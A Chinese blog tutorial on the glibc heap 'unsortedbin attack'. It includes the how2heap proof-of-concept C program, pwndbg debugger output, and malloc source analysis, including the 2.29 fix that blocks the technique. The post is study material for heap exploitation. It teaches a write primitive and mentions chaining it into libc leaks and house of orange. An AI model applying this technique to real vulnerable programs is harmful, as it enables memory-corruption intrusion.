selph
selph
发布于 2024-01-10 / 95 阅读
0
0

堆利用详解:Unsortedbin Attack

简介

漏洞原因

OverflowWAF

适用范围:

  • libc 2.23~2.29
  • 可以伪造 unsortedbin chunkbk 指针

利用原理

这个攻击允许把arena unsortedbin的地址写入任意位置,这个过程被称为partial unlinking,出现的原因是因为断链的时候没有检查双链表完整性,当伪造链表bk指针的时候,会把unsortedbin地址写入其+0x10的位置中

相关技巧

  • 可以泄露glibc地址
  • 可以绕过libio vtable完整性检查去重写_dl_open_hook函数,
  • 可以覆盖_IO_list_all指针(house of orange)

利用效果

执行一次反射写,把glibc地址写入可控地址

实验:how2heap - unsortedbin attack

实验环境:libc 2.23

#include <stdio.h>
#include <stdlib.h>

int main(){
	fprintf(stderr, "This file demonstrates unsorted bin attack by write a large unsigned long value into stack\n");
	fprintf(stderr, "In practice, unsorted bin attack is generally prepared for further attacks, such as rewriting the "
		   "global variable global_max_fast in libc for further fastbin attack\n\n");

	unsigned long stack_var=0;
	fprintf(stderr, "Let's first look at the target we want to rewrite on stack:\n");
	fprintf(stderr, "%p: %ld\n\n", &stack_var, stack_var);

	unsigned long *p=malloc(400);
	fprintf(stderr, "Now, we allocate first normal chunk on the heap at: %p\n",p);
	fprintf(stderr, "And allocate another normal chunk in order to avoid consolidating the top chunk with"
           "the first one during the free()\n\n");
	malloc(500);

	free(p);
	fprintf(stderr, "We free the first chunk now and it will be inserted in the unsorted bin with its bk pointer "
		   "point to %p\n",(void*)p[1]);

	//------------VULNERABILITY-----------

	p[1]=(unsigned long)(&stack_var-2);
	fprintf(stderr, "Now emulating a vulnerability that can overwrite the victim->bk pointer\n");
	fprintf(stderr, "And we write it with the target address-16 (in 32-bits machine, it should be target address-8):%p\n\n",(void*)p[1]);

	//------------------------------------

	malloc(400);
	fprintf(stderr, "Let's malloc again to get the chunk we just free. During this time, the target should have already been "
		   "rewritten:\n");
	fprintf(stderr, "%p: %p\n", &stack_var, (void*)stack_var);
}

首先是条件准备:需要一个 unsortedbin

pwndbg> bin
fastbins
empty
unsortedbin
all: 0x602000 —▸ 0x7ffff7dd1b78 (main_arena+88) ◂— 0x602000
smallbins
empty
largebins
empty

然后模拟漏洞情况,unsortedbin的bk被写入一个可控地址

pwndbg> unsortedbin
unsortedbin
all [corrupted]
FD: 0x602000 —▸ 0x7ffff7dd1b78 (main_arena+88) ◂— 0x602000
BK: 0x602000 —▸ 0x7fffffffdfa8 —▸ 0x602010 ◂— 0x0

stack_var-0x10地址内容:

pwndbg> dq &stack_var-2
00007fffffffdfa8     00000000004007c6 0000000000400890
00007fffffffdfb8     0000000000000000 0000000000602010	// 这个 0x602010 是局部变量p
00007fffffffdfc8     be4d3c756d8c1300 0000000000400890
00007fffffffdfd8     00007ffff7a2d840 0000000000000001

当再次申请内存的时候,触发unsortedbin相关的处理,导致fd的值被写入bk地址:

pwndbg> p/x stack_var
$2 = 0x7ffff7dd1b78

为什么会这样呢?

源码分析断链处理过程

当fastbin,smallbin,largebin无法处理,且last remainder也无法处理,就会进入这里:

            /* remove from unsorted list */
            // 断链
            unsorted_chunks(av)->bk = bck;
            bck->fd = unsorted_chunks(av);

            /* Take now instead of binning if exact fit */
            // 如果大小精准匹配,就直接分配返回
            if (size == nb)
            {
                set_inuse_bit_at_offset(victim, size);
                if (av != &main_arena)
                    victim->size |= NON_MAIN_ARENA;
                check_malloced_chunk(av, victim, nb);
                void *p = chunk2mem(victim);
                alloc_perturb(p, bytes);
                return p;
            }

这里的断链操作导致了unsortedbin attack得以实现

新版本的修复:(略去tcachebin的处理)

            /* remove from unsorted list */
            // 断链
            if (__glibc_unlikely(bck->fd != victim))
                malloc_printerr("malloc(): corrupted unsorted chunks 3");
            unsorted_chunks(av)->bk = bck;
            bck->fd = unsorted_chunks(av);

            /* Take now instead of binning if exact fit */
            // 如果大小刚好精准匹配,就分配
            if (size == nb)
            {
                // 设置下一个chunk的prev_inuse标志
                set_inuse_bit_at_offset(victim, size);
                if (av != &main_arena)
                    set_non_main_arena(victim);
...
                    // 返回分配的内存地址给用户
                    check_malloced_chunk(av, victim, nb);
                    void *p = chunk2mem(victim);
                    alloc_perturb(p, bytes);
                    return p;
...
            }

原先的断链得以实现任意写是因为:

unsorted_chunks(av)->bk = bck;	// 把可控地址的bk写给unsortedbin头指针
bck->fd = unsorted_chunks(av);	// 给可控地址的fd写入unsortedbin头指针

后来新增了一个条件判断:检查双链表完整性

if (__glibc_unlikely(bck->fd != victim))
	malloc_printerr("malloc(): corrupted unsorted chunks 3");

这意味着,要能通过安全检查,需要fd位置有arena对应的地址才行,而进行unsortedbin attack利用的目的是往fd位置写入arena对应的地址

因此,这个利用手法失效,该检查于2.29版本被添加

参考资料


评论